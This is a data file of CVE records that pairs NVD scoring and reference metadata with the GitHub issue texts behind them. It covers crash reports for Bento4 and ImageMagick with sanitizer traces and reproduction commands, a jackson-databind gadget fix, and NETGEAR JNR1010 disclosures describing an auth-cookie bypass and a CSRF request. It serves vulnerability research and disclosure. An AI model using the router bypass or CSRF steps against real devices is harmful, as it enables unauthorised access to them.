"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/TeamSeri0us/pocs/tree/master/bento4"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/431"
}
] | [
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] | https://github.com/axiomatic-systems/Bento4/issues/431 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"axiomatic-systems",
"Bento4"
] | # bento4
## version
bento4 1.5.1.0
## description
```txt
None
```
## download link
None
## others
please send email to [email protected] if you have any questions.
---------------------
## AP4_PrintInspector::[email protected]___heap-buffer-overflow
### description
An issue was discovered in bento4 1.5.1.0, There is a/an heap-buffer-overflow in function AP4_PrintInspector::AddField at Ap4Atom.cpp-974
### commandline
mp4dump --verbosity 2 @@
### source
```c
970 m_Stream->WriteString(" = [");
971 unsigned int offset = 1;
972 char byte[4];
973 for (unsigned int i=0; i<byte_count; i++) {
974 AP4_FormatString(byte, 4, " %02x", bytes[i]);
975 m_Stream->Write(&byte[offset], 3-offset);
976 offset = 0;
977 }
978 m_Stream->Write("]\n", 2);
979 }
```
### bug report
```txt
=================================================================
==4107==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x611000009d76 at pc 0x0000004dcdcb bp 0x7ffc9fc51e20 sp 0x7ffc9fc51e10
READ of size 1 at 0x611000009d76 thread T0
#0 0x4dcdca in AP4_PrintInspector::AddField(char const*, unsigned char const*, unsigned int, AP4_AtomInspector::FormatHint) /src/bento4/Source/C++/Core/Ap4Atom.cpp:974
#1 0x601dab in AP4_CencSampleEncryption::DoInspectFields(AP4_AtomInspector&) /src/bento4/Source/C++/Core/Ap4CommonEncryption.cpp:3429
#2 0x4d3dae in AP4_Atom::Inspect(AP4_AtomInspector&) /src/bento4/Source/C++/Core/Ap4Atom.cpp:263
#3 0x58b005 in AP4_AtomListInspector::Action(AP4_Atom*) const /src/bento4/Source/C++/Core/Ap4Atom.h:530
#4 0x58b005 in AP4_List<AP4_Atom>::Apply(AP4_List<AP4_Atom>::Item::Operator const&) const /src/bento4/Source/C++/Core/Ap4List.h:353
#5 0x58b005 in AP4_ContainerAtom::InspectChildren(AP4_AtomInspector&) /src/bento4/Source/C++/Core/Ap4ContainerAtom.cpp:220
#6 0x58b005 in AP4_ContainerAtom::InspectFields(AP4_AtomInspector&) /src/bento4/Source/C++/Core/Ap4ContainerAtom.cpp:210
#7 0x4d3dae in AP4_Atom::Inspect(AP4_AtomInspector&) /src/bento4/Source/C++/Core/Ap4Atom.cpp:263
#8 0x58b005 in AP4_AtomListInspector::Action(AP4_Atom*) const /src/bento4/Source/C++/Core/Ap4Atom.h:530
#9 0x58b005 in AP4_List<AP4_Atom>::Apply(AP4_List<AP4_Atom>::Item::Operator const&) const /src/bento4/Source/C++/Core/Ap4List.h:353
#10 0x58b005 in AP4_ContainerAtom::InspectChildren(AP4_AtomInspector&) /src/bento4/Source/C++/Core/Ap4ContainerAtom.cpp:220
#11 0x58b005 in AP4_ContainerAtom::InspectFields(AP4_AtomInspector&) /src/bento4/Source/C++/Core/Ap4ContainerAtom.cpp:210
#12 0x4d3dae in AP4_Atom::Inspect(AP4_AtomInspector&) /src/bento4/Source/C++/Core/Ap4Atom.cpp:263
#13 0x58b005 in AP4_AtomListInspector::Action(AP4_Atom*) const /src/bento4/Source/C++/Core/Ap4Atom.h:530
#14 0x58b005 in AP4_List<AP4_Atom>::Apply(AP4_List<AP4_Atom>::Item::Operator const&) const /src/bento4/Source/C++/Core/Ap4List.h:353
#15 0x58b005 in AP4_ContainerAtom::InspectChildren(AP4_AtomInspector&) /src/bento4/Source/C++/Core/Ap4ContainerAtom.cpp:220
#16 0x58b005 in AP4_ContainerAtom::InspectFields(AP4_AtomInspector&) /src/bento4/Source/C++/Core/Ap4ContainerAtom.cpp:210
#17 0x4d3dae in AP4_Atom::Inspect(AP4_AtomInspector&) /src/bento4/Source/C++/Core/Ap4Atom.cpp:263
#18 0x58b005 in AP4_AtomListInspector::Action(AP4_Atom*) const /src/bento4/Source/C++/Core/Ap4Atom.h:530
#19 0x58b005 in AP4_List<AP4_Atom>::Apply(AP4_List<AP4_Atom>::Item::Operator const&) const /src/bento4/Source/C++/Core/Ap4List.h:353
#20 0x58b005 in AP4_ContainerAtom::InspectChildren(AP4_AtomInspector&) /src/bento4/Source/C++/Core/Ap4ContainerAtom.cpp:220
#21 0x58b005 in AP4_ContainerAtom::InspectFields(AP4_AtomInspector&) /src/bento4/Source/C++/Core/Ap4ContainerAtom.cpp:210
#22 0x4d3dae in AP4_Atom::Inspect(AP4_AtomInspector&) /src/bento4/Source/C++/Core/Ap4Atom.cpp:263
#23 0x58b005 in AP4_AtomListInspector::Action(AP4_Atom*) const /src/bento4/Source/C++/Core/Ap4Atom.h:530
#24 0x58b005 in AP4_List<AP4_Atom>::Apply(AP4_List<AP4_Atom>::Item::Operator const&) const /src/bento4/Source/C++/Core/Ap4List.h:353
#25 0x58b005 in AP4_ContainerAtom::InspectChildren(AP4_AtomInspector&) /src/bento4/Source/C++/Core/Ap4ContainerAtom.cpp:220
#26 0x58b005 in AP4_ContainerAtom::InspectFields(AP4_AtomInspector&) /src/bento4/Source/C++/Core/Ap4ContainerAtom.cpp:210
#27 0x4d3dae in AP4_Atom::Inspect(AP4_AtomInspector&) /src/bento4/Source/C++/Core/Ap4Atom.cpp:263
#28 0x43f769 in main /src/bento4/Source/C++/Apps/Mp4Dump/Mp4Dump.cpp:350
#29 0x7f160934782f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#30 0x4434e8 in _start (/src/aflbuild/installed/bin/mp4dump+0x4434e8)
0x611000009d76 is located 0 bytes to the right of 246-byte region [0x611000009c80,0x611000009d76)
allocated by thread T0 here:
#0 0x7f1609d226b2 in operator new[](unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x996b2)
#1 0x536f2f in AP4_DataBuffer::ReallocateBuffer(unsigned int) /src/bento4/Source/C++/Core/Ap4DataBuffer.cpp:210
#2 0x536f2f in AP4_DataBuffer::SetDataSize(unsigned int) /src/bento4/Source/C++/Core/Ap4DataBuffer.cpp:151
SUMMARY: AddressSanitizer: heap-buffer-overflow /src/bento4/Source/C++/Core/Ap4Atom.cpp:974 AP4_PrintInspector::AddField(char const*, unsigned char const*, unsigned int, AP4_AtomInspector::FormatHint)
Shadow bytes around the buggy address:
0x0c227fff9350: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fff9360: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fff9370: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fff9380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fff9390: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c227fff93a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00[06]fa
0x0c227fff93b0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c227fff93c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c227fff93d0: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
0x0c227fff93e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c227fff93f0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==4107==ABORTING
```
### others
from fuzz project pwd-bento4-mp4dump-02
crash name pwd-bento4-mp4dump-02-00000029-20190811.mp4
Auto-generated by pyspider at 2019-08-11 11:06:47
please send email to [email protected] if you have any questions.
[poc2.tar.gz](https://github.com/axiomatic-systems/Bento4/files/3640452/poc2.tar.gz)
| A heap-buffer-overflow was discoverad in AP4_PrintInspector::AddField at Ap4Atom.cpp-974 | https://api.github.com/repos/axiomatic-systems/Bento4/issues/431/comments | 0 | 2019-09-23T02:19:02Z | 2019-10-08T05:15:57Z | https://github.com/axiomatic-systems/Bento4/issues/431 | 496,867,352 | 431 |
CVE-2019-17531 | 2019-10-12T21:15:08.570 | A Polymorphic Typing issue was discovered in FasterXML jackson-databind 2.0.0 through 2.9.10. When Default Typing is enabled (either globally or for a specific property) for an externally exposed JSON endpoint and the service has the apache-log4j-extra (version 1.2.x) jar in the classpath, and an attacker can provide a JNDI service to access, it is possible to make the service execute a malicious payload. | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 6.8,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 6.4,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
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}
],
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"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://access.redhat.com/errata/RHSA-2019:4192"
},
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://access.redhat.com/errata/RHSA-2020:0159"
},
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://access.redhat.com/errata/RHSA-2020:0160"
},
{
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"tags": [
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"url": "https://access.redhat.com/errata/RHSA-2020:0161"
},
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"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://access.redhat.com/errata/RHSA-2020:0164"
},
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://access.redhat.com/errata/RHSA-2020:0445"
},
{
"source": "[email protected]",
"tags": [
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/FasterXML/jackson-databind/issues/2498"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://lists.apache.org/thread.html/b3c90d38f99db546de60fea65f99a924d540fae2285f014b79606ca5%40%3Ccommits.pulsar.apache.org%3E"
},
{
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"tags": null,
"url": "https://lists.apache.org/thread.html/r1b103833cb5bc8466e24ff0ecc5e75b45a705334ab6a444e64e840a0%40%3Cissues.bookkeeper.apache.org%3E"
},
{
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"url": "https://lists.apache.org/thread.html/r392099ed2757ff2e383b10440594e914d080511d7da1c8fed0612c1f%40%3Ccommits.druid.apache.org%3E"
},
{
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"url": "https://lists.apache.org/thread.html/rf1bbc0ea4a9f014cf94df9a12a6477d24a27f52741dbc87f2fd52ff2%40%3Cissues.geode.apache.org%3E"
},
{
"source": "[email protected]",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.debian.org/debian-lts-announce/2019/12/msg00013.html"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://medium.com/%40cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062"
},
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://security.netapp.com/advisory/ntap-20191024-0005/"
},
{
"source": "[email protected]",
"tags": [
"Patch",
"Third Party Advisory"
],
"url": "https://www.oracle.com//security-alerts/cpujul2021.html"
},
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://www.oracle.com/security-alerts/cpuapr2020.html"
},
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://www.oracle.com/security-alerts/cpujan2020.html"
},
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://www.oracle.com/security-alerts/cpujul2020.html"
},
{
"source": "[email protected]",
"tags": [
"Patch",
"Third Party Advisory"
],
"url": "https://www.oracle.com/security-alerts/cpuoct2020.html"
}
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] | https://github.com/FasterXML/jackson-databind/issues/2498 | [
"Patch",
"Third Party Advisory"
] | github.com | [
"FasterXML",
"jackson-databind"
] | Another gadget type reported regarding a class of apache-log4j-extras package.
See https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062 for description of the general problem.
Mitre id: CVE-2019-17531
Reporter: 张先辉 Zhangxianhui
Fix will be included in:
* 2.9.10.1
* 2.8.11.5
* 2.6.7.3
* does not affect 2.10.0 and later
| Block one more gadget type (apache-log4j-extras/1.2, CVE-2019-17531) | https://api.github.com/repos/FasterXML/jackson-databind/issues/2498/comments | 1 | 2019-10-12T17:42:27Z | 2020-02-10T22:14:00Z | https://github.com/FasterXML/jackson-databind/issues/2498 | 506,216,163 | 2,498 |
CVE-2019-17541 | 2019-10-14T02:15:10.703 | ImageMagick before 7.0.8-55 has a use-after-free in DestroyStringInfo in MagickCore/string.c because the error manager is mishandled in coders/jpeg.c. | {
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"baseScore": 6.8,
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"integrityImpact": "PARTIAL",
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"version": "2.0"
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"exploitabilityScore": 8.6,
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"source": "[email protected]",
"type": "Primary",
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}
],
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"privilegesRequired": "NONE",
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"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
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},
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"source": "[email protected]",
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}
]
} | [
{
"source": "[email protected]",
"tags": [
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=15827"
},
{
"source": "[email protected]",
"tags": [
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"Third Party Advisory"
],
"url": "https://github.com/ImageMagick/ImageMagick/commit/39f226a9c137f547e12afde972eeba7551124493"
},
{
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"tags": [
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"Third Party Advisory"
],
"url": "https://github.com/ImageMagick/ImageMagick/compare/7.0.8-54...7.0.8-55"
},
{
"source": "[email protected]",
"tags": [
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"Third Party Advisory"
],
"url": "https://github.com/ImageMagick/ImageMagick/issues/1641"
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] | https://github.com/ImageMagick/ImageMagick/issues/1641 | [
"Exploit",
"Patch",
"Third Party Advisory"
] | github.com | [
"ImageMagick",
"ImageMagick"
] | ### Prerequisites
- [x] I have written a descriptive issue title
- [x] I have verified that I am using the latest version of ImageMagick
- [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported
### Description
<!-- A description of the bug or feature -->
There's a heap-buffer-overflow at MagickCore/string.c:853 in DestroyStringInfo.
### Steps to Reproduce
<!-- List of steps, sample code, failing test or link to a project that reproduces the behavior.
Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues -->
[poc](https://github.com/007Alice/crashes/raw/master/ImageMagick_crash_0)
run command:
./magick convert poc /dev/null
```
==29840==ERROR: AddressSanitizer: heap-use-after-free on address 0x60400000af68 at pc 0x7f9e79581fab bp 0x7fff303409f0 sp 0x7fff303409e0
READ of size 8 at 0x60400000af68 thread T0
#0 0x7f9e79581faa in DestroyStringInfo MagickCore/string.c:853
#1 0x7f9e7985ebaf in ReadJPEGImage coders/jpeg.c:1198
#2 0x7f9e7929dbba in ReadImage MagickCore/constitute.c:547
#3 0x7f9e7929fde0 in ReadImages MagickCore/constitute.c:917
#4 0x7f9e78aab965 in ConvertImageCommand MagickWand/convert.c:617
#5 0x7f9e78c3d9a6 in MagickCommandGenesis MagickWand/mogrify.c:185
#6 0x4017d1 in MagickMain utilities/magick.c:149
#7 0x4019b2 in main utilities/magick.c:180
#8 0x7f9e783c982f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#9 0x4012e8 in _start (/home/ImageMagick/utilities/.libs/lt-magick+0x4012e8)
0x60400000af68 is located 24 bytes inside of 40-byte region [0x60400000af50,0x60400000af78)
freed by thread T0 here:
#0 0x7f9e79ed42ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
#1 0x7f9e7945cfac in RelinquishMagickMemory MagickCore/memory.c:1074
#2 0x7f9e7958216e in DestroyStringInfo MagickCore/string.c:862
#3 0x7f9e7985b93c in ReadICCProfile coders/jpeg.c:570
#4 0x7f9e77373954 (/usr/lib/x86_64-linux-gnu/libjpeg.so.8+0x20954)
previously allocated by thread T0 here:
#0 0x7f9e79ed4602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x7f9e7945c056 in AcquireMagickMemory MagickCore/memory.c:478
#2 0x7f9e7957fb60 in AcquireCriticalMemory MagickCore/memory-private.h:64
#3 0x7f9e7957ff57 in AcquireStringInfoContainer MagickCore/string.c:181
#4 0x7f9e7958029d in BlobToStringInfo MagickCore/string.c:236
#5 0x7f9e7985b7ec in ReadICCProfile coders/jpeg.c:549
#6 0x7f9e77373954 (/usr/lib/x86_64-linux-gnu/libjpeg.so.8+0x20954)
SUMMARY: AddressSanitizer: heap-use-after-free MagickCore/string.c:853 DestroyStringInfo
Shadow bytes around the buggy address:
0x0c087fff9590: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff95a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff95b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff95c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff95d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c087fff95e0: fa fa fa fa fa fa fa fa fa fa fd fd fd[fd]fd fa
0x0c087fff95f0: fa fa 00 00 00 00 00 fa fa fa fd fd fd fd fd fa
0x0c087fff9600: fa fa 00 00 00 00 00 05 fa fa 00 00 00 00 00 05
0x0c087fff9610: fa fa 00 00 00 00 00 05 fa fa 00 00 00 00 00 05
SUMMARY: AddressSanitizer: heap-use-after-free MagickCore/string.c:853 DestroyStringInfo
Shadow bytes around the buggy address:
0x0c087fff9590: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff95a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff95b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff95c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff95d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c087fff95e0: fa fa fa fa fa fa fa fa fa fa fd fd fd[fd]fd fa
0x0c087fff95f0: fa fa 00 00 00 00 00 fa fa fa fd fd fd fd fd fa
0x0c087fff9600: fa fa 00 00 00 00 00 05 fa fa 00 00 00 00 00 05
0x0c087fff9610: fa fa 00 00 00 00 00 05 fa fa 00 00 00 00 00 05
#4 0x7f9e78aab965 in ConvertImageCommand MagickWand/convert.c:617
#5 0x7f9e78c3d9a6 in MagickCommandGenesis MagickWand/mogrify.c:185
#6 0x4017d1 in MagickMain utilities/magick.c:149
#7 0x4019b2 in main utilities/magick.c:180
#8 0x7f9e783c982f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#9 0x4012e8 in _start (/home/ImageMagick/utilities/.libs/lt-magick+0x4012e8)
0x60400000af68 is located 24 bytes inside of 40-byte region [0x60400000af50,0x60400000af78)
freed by thread T0 here:
#0 0x7f9e79ed42ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
#1 0x7f9e7945cfac in RelinquishMagickMemory MagickCore/memory.c:1074
#2 0x7f9e7958216e in DestroyStringInfo MagickCore/string.c:862
#3 0x7f9e7985b93c in ReadICCProfile coders/jpeg.c:570
#4 0x7f9e77373954 (/usr/lib/x86_64-linux-gnu/libjpeg.so.8+0x20954)
previously allocated by thread T0 here:
#0 0x7f9e79ed4602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x7f9e7945c056 in AcquireMagickMemory MagickCore/memory.c:478
#2 0x7f9e7957fb60 in AcquireCriticalMemory MagickCore/memory-private.h:64
#3 0x7f9e7957ff57 in AcquireStringInfoContainer MagickCore/string.c:181
#4 0x7f9e7958029d in BlobToStringInfo MagickCore/string.c:236
#5 0x7f9e7985b7ec in ReadICCProfile coders/jpeg.c:549
#6 0x7f9e77373954 (/usr/lib/x86_64-linux-gnu/libjpeg.so.8+0x20954)
SUMMARY: AddressSanitizer: heap-use-after-free MagickCore/string.c:853 DestroyStringInfo
Shadow bytes around the buggy address:
0x0c087fff9590: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff95a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff95b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff95c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff95d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c087fff95e0: fa fa fa fa fa fa fa fa fa fa fd fd fd[fd]fd fa
0x0c087fff95f0: fa fa 00 00 00 00 00 fa fa fa fd fd fd fd fd fa
0x0c087fff9600: fa fa 00 00 00 00 00 05 fa fa 00 00 00 00 00 05
0x0c087fff9610: fa fa 00 00 00 00 00 05 fa fa 00 00 00 00 00 05
0x0c087fff9620: fa fa 00 00 00 00 00 05 fa fa 00 00 00 00 00 fa
0x0c087fff9630: fa fa 00 00 00 00 00 fa fa fa 00 00 00 00 00 fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==29840==ABORTING
```
### System Configuration
<!-- Tell us about the environment where you are experiencing the bug -->
- ImageMagick version:
Version: ImageMagick 7.0.8-54 Q16 x86_64 2019-07-18 https://imagemagick.org
Copyright: © 1999-2019 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.0)
Delegates (built-in): bzlib djvu fftw fontconfig freetype gvc jbig jng jpeg lcms lqr lzma openexr pangocairo png tiff webp wmf x xml zlib
- Environment (Operating system, version and so on):
Distributor ID: Ubuntu
Description: Ubuntu 16.04.6 LTS
Release: 16.04
Codename: xenial
- Additional information:
<!-- Thanks for reporting the issue to ImageMagick! -->
| heap-buffer-overflow at MagickCore/string.c:853 in DestroyStringInfo | https://api.github.com/repos/ImageMagick/ImageMagick/issues/1641/comments | 2 | 2019-07-18T09:43:55Z | 2020-01-15T10:53:24Z | https://github.com/ImageMagick/ImageMagick/issues/1641 | 469,671,879 | 1,641 |
CVE-2016-11014 | 2019-10-16T11:15:13.380 | NETGEAR JNR1010 devices before 1.0.0.32 have Incorrect Access Control because the ok value of the auth cookie is a special case. | {
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"version": "3.1"
},
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"source": "[email protected]",
"type": "Primary"
}
]
} | [
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"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://cybersecurityworks.com/zerodays/cve-2016-11014-netgear.html"
},
{
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"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/cybersecurityworks/Disclosed/issues/14"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://khalil-shreateh.com/khalil.shtml/it-highlights/593-Netgear-1.0.0.24-Bypass---Improper-Session-Management--.html"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.openwall.net/full-disclosure/2016/01/11/5"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory",
"VDB Entry"
],
"url": "https://packetstormsecurity.com/files/135216/Netgear-1.0.0.24-Bypass-Improper-Session-Management.html"
}
] | [
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] | https://github.com/cybersecurityworks/Disclosed/issues/14 | [
"Exploit",
"Third Party Advisory"
] | github.com | [
"cybersecurityworks",
"Disclosed"
] | # Details
Product Vendor: Netgear
Bug Name: Authentication Bypass in Netgear Router JNR1010 Version 1.0.0.24
Software: Netgear Router JNR1010 Firmware
Version: 1.0.0.24
Last Updated: <a href="http://kb.netgear.com/app/answers/detail/a_id/29270/~/jnr1010-firmware-version-1.0.0.24">10-06-2015</a>
Homepage: http://netgear.com/
Severity High
Status: <a href="http://kb.netgear.com/app/answers/detail/a_id/30177/~/jnr1010-firmware-version-1.0.0.32">Fixed</a>
POC Video URL: https://www.youtube.com/watch?v=tET-t-3h7TU
# Description
This flaw may allow a successful attacker to do anything gaining the privilege of the router being in LAN/WAN.
# Proof of concept: (POC)
<strong>Broken Authentication & Session Management:</strong>
<strong>Authentication Bypass:</strong>
Try Accessing the URL which the normal user have no longer access without credentials with auth token value as “ok” and HTTP Basic Authentication header with password value.
<strong>Improper Session Management:</strong>
Create a fake Session ID and submit the request to the server with the credentials. Whereas, you can see that the session id has no change even after getting logged in and during logout process.
<strong>Figure 1:</strong> Session id created by an attacker before login
<strong>Figure 2:</strong> Attacker Session id is not changed even after login
<strong>Figure 3:</strong> Session id remains the same even after logging out from the current session.
<strong>Figure 4:</strong> Back button history of the accessed router after logging out
<strong>Figure 5:</strong> auth token is set to “ok” once after logging into the router. But, we couldn’t access any pages just by pressing back button after logging out
<strong>Figure 6:</strong>Changing the auth token value from “ok” to “nok” and removing extra session tokens will give access to the unauthorized page with the same session id created by an attacker.
<strong>Figure 7:</strong>Authentication logic is bypassed and an attacker can access any pages inside login without credentials
---
<strong>Timeline</strong>
28/10/2015 – Discovered in Netgear Router Firmware Version 1.0.0.24
28/10//2015 - Reported to vendor through support option but, no response
30/10//2015 - Reported to vendor through another support option available <a href="http://support.netgear.com/for_home/default.aspx">here</a>. But, again no response.
03/11/2015 - Finally, Technical Team started addressing about the issue after so many followups through phone/mail.
13/12/2015 - Vulnerability got fixed & case was closed.
30/12/2015 - Netgear Released updated Netgear Router JNR1010 version 1.0.0.32
---
<strong>Discovered by:</strong>
Sathish from <a href="http://www.cybersecurityworks.com">Cyber Security Works Pvt Ltd</a>
| Authentication Bypass in Netgear Router JNR1010 Version 1.0.0.24 | https://api.github.com/repos/cybersecurityworks/Disclosed/issues/14/comments | 1 | 2016-01-11T07:53:05Z | 2023-03-01T10:00:26Z | https://github.com/cybersecurityworks/Disclosed/issues/14 | 125,890,287 | 14 |
CVE-2016-11015 | 2019-10-16T11:15:13.847 | NETGEAR JNR1010 devices before 1.0.0.32 allow cgi-bin/webproc CSRF via the :InternetGatewayDevice.X_TWSZ-COM_URL_Filter.BlackList.1.URL parameter. | {
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"availabilityImpact": "NONE",
"baseScore": 4.3,
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"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N",
"version": "2.0"
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"impactScore": 2.9,
"obtainAllPrivilege": false,
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"source": "[email protected]",
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},
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"url": "https://packetstormsecurity.com/files/135215/Netgear-1.0.0.24-Cross-Site-Request-Forgery.html"
},
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"source": "[email protected]",
"tags": [
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],
"url": "https://pmcg2k15.wordpress.com/2016/01/11/fd-cross-site-request-forgery-in-netgear-router-jnr1010-version-1-0-0-24/"
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"Exploit",
"Third Party Advisory"
] | github.com | [
"cybersecurityworks",
"Disclosed"
] | # Details
# Product Vendor: Netgear
# Bug Name: Cross Site Request Forgery in Netgear Router JNR1010 Version 1.0.0.24
# Software: Netgear Router Firmware
# Version: 1.0.0.24
# Last Updated: <a href="http://kb.netgear.com/app/answers/detail/a_id/29270/~/jnr1010-firmware-version-1.0.0.24">10-06-2015</a>
# Homepage: http://netgear.com/
# Severity High
# Status: <a href="http://kb.netgear.com/app/answers/detail/a_id/30177/~/jnr1010-firmware-version-1.0.0.32">Fixed</a>
# POC Video URL: https://www.youtube.com/watch?v=tET-t-3h7TU
# Description
Using this flaw, an attacker can cause victims to change any data the victim is allowed to change or perform any function the victim is authorized to use.
# Proof of concept: (POC)
Created a forged request changing the value of any variable, here it is <strong>:InternetGatewayDevice.X_TWSZ-COM_URL_Filter.BlackList.1.URL</strong>variable in the URL <a href="http://router-ip/cgi-bin/webproc">http://router-ip/cgi-bin/webproc</a> and sent it to victim forcing him/her to click on the malicious link generated by an attacker with different session allows an attacker to change the settings of the victim’s router.
<strong>Figure 1:</strong> Blocked sites keywords before CSRF request sent to the victim
<strong>Figure 2:</strong> a CSRF Request is created by changing Block list URL variable
<strong>Figure 3:</strong> CSRF request is successfully submitted in the victims browser
Note: Similarly, we can manipulate any request and can force victim to access the link generated by the attacker to make changes to the router settings without victim’s knowledge.
# Fix
Refer, https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
---
